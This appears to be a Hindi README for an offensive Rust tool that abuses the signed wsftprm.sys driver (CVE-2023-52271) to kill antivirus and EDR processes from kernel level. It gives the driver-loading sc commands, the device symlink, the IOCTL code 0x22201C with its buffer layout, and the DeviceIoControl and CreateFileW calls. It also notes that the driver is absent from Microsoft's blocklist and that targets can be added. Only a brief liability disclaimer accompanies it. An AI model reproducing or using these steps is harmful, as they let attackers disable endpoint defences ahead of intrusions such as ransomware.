
AV/EDR प्रक्रियाओं की समाप्ति एक संवेदनशील ड्राइवर (BYOVD) का शोषण करके
https://github.com/user-attachments/assets/1eda3340-2af2-4136-b74e-be7a3f4b3924
यह प्रोजेक्ट दर्शाता है कि कैसे एक वैध और हस्ताक्षरित ड्राइवर को कर्नेल स्तर की पहुंच प्राप्त करने के लिए हथियार बनाया जा सकता है।
wsftprm.sys , TPZ SOLUCOES DIGITAIS LTDA द्वारा हस्ताक्षरित, और पहले सार्वजनिक रूप से CVE-2023-52271 के रूप में प्रकट स्थानीय विशेषाधिकार वृद्धि भेद्यता के संपर्क में था, लेकिन किसी तरह अभी भी Microsoft की ड्राइवर ब्लॉकलिस्ट पर नहीं है!! 🤫🤫
भेद्यता IOCTL कोड 0x22201C के माध्यम से 1036-बाइट बफर के साथ ट्रिगर की जाती है जहां पहले 4 बाइट्स में लक्ष्य प्रक्रिया ID को DWORD के रूप में होता है। कमजोर ड्राइवर, DeviceIoControl के माध्यम से इस दुर्भावनापूर्ण IOCTL को प्राप्त करने पर, आयातित ZwTerminateProcess फ़ंक्शन को लागू करता है, जो किसी भी उपयोगकर्ता-मोड एप्लिकेशन को कर्नेल-स्तरीय प्रक्रिया समाप्ति क्षमता प्रदान करता है।
कोई भी समझदार खतरा अभिनेता स्वाभाविक रूप से महत्वपूर्ण एंटीवायरस (AV) और एंडपॉइंट डिटेक्शन एंड रिस्पॉन्स (EDR) प्रक्रियाओं को समाप्त करने के लिए इस क्षमता को प्राथमिकता देगा।
प्रशासक विशेषाधिकारों के साथ cmd.exe लॉन्च करें, और प्रकार "kernel" और binPath को कमजोर ड्राइवर के स्थान पर इंगित करते हुए एक कर्नेल ड्राइवर सेवा पंजीकृत करें।
> sc create MalDriver binPath= <path> type= Kernel`
> sc start MalDriver
एक बार लोड होने के बाद, ड्राइवर उपयोगकर्ता-मोड के लिए \.\Warsaw_PM के रूप में सुलभ एक सिंबलिक लिंक बनाता है। जिसका उपयोग हम CreateFileW API कॉल का उपयोग करके ड्राइवर डिवाइस का हैंडल प्राप्त करने के लिए कर सकते हैं।
> CreateFileW(device_name.as_ptr(), GENERIC_READ | GENERIC_WRITE, 0, ptr::null_mut(), OPEN_EXISTING, 0, ptr::null_mut())
दुर्भावनापूर्ण IOCTL भेजने के लिए हम कोड 0x22201C के साथ DeviceIoControl का उपयोग करेंगे, और बफर जिसमें इसके पहले 4 बाइट्स में एक PID हो।
> DeviceIoControl(self.hDriver, 0x22201C, buffer.as_mut_ptr() as LPVOID, buffer.len() as u32, ptr::null_mut(), 0, &mut bytes_returned, ptr::null_mut())
Cargo build --release बाइनरी उत्पन्न करने के लिए।
आप समाप्ति के लिए लक्ष्य सूची में अतिरिक्त प्रक्रियाएँ जोड़ सकते हैं।
इस उपकरण का उपयोग करने से पहले आप यह सुनिश्चित करने के लिए जिम्मेदार हैं कि आपके पास उचित प्राधिकरण है। लेखक दुरुपयोग के लिए कोई दायित्व नहीं मानता है।
योगदान और सुझावों का स्वागत है! यदि आपके पास विचार, सुधार हैं, या सहयोग करना चाहते हैं, तो बेझिझक यहां संपर्क करें: [email protected]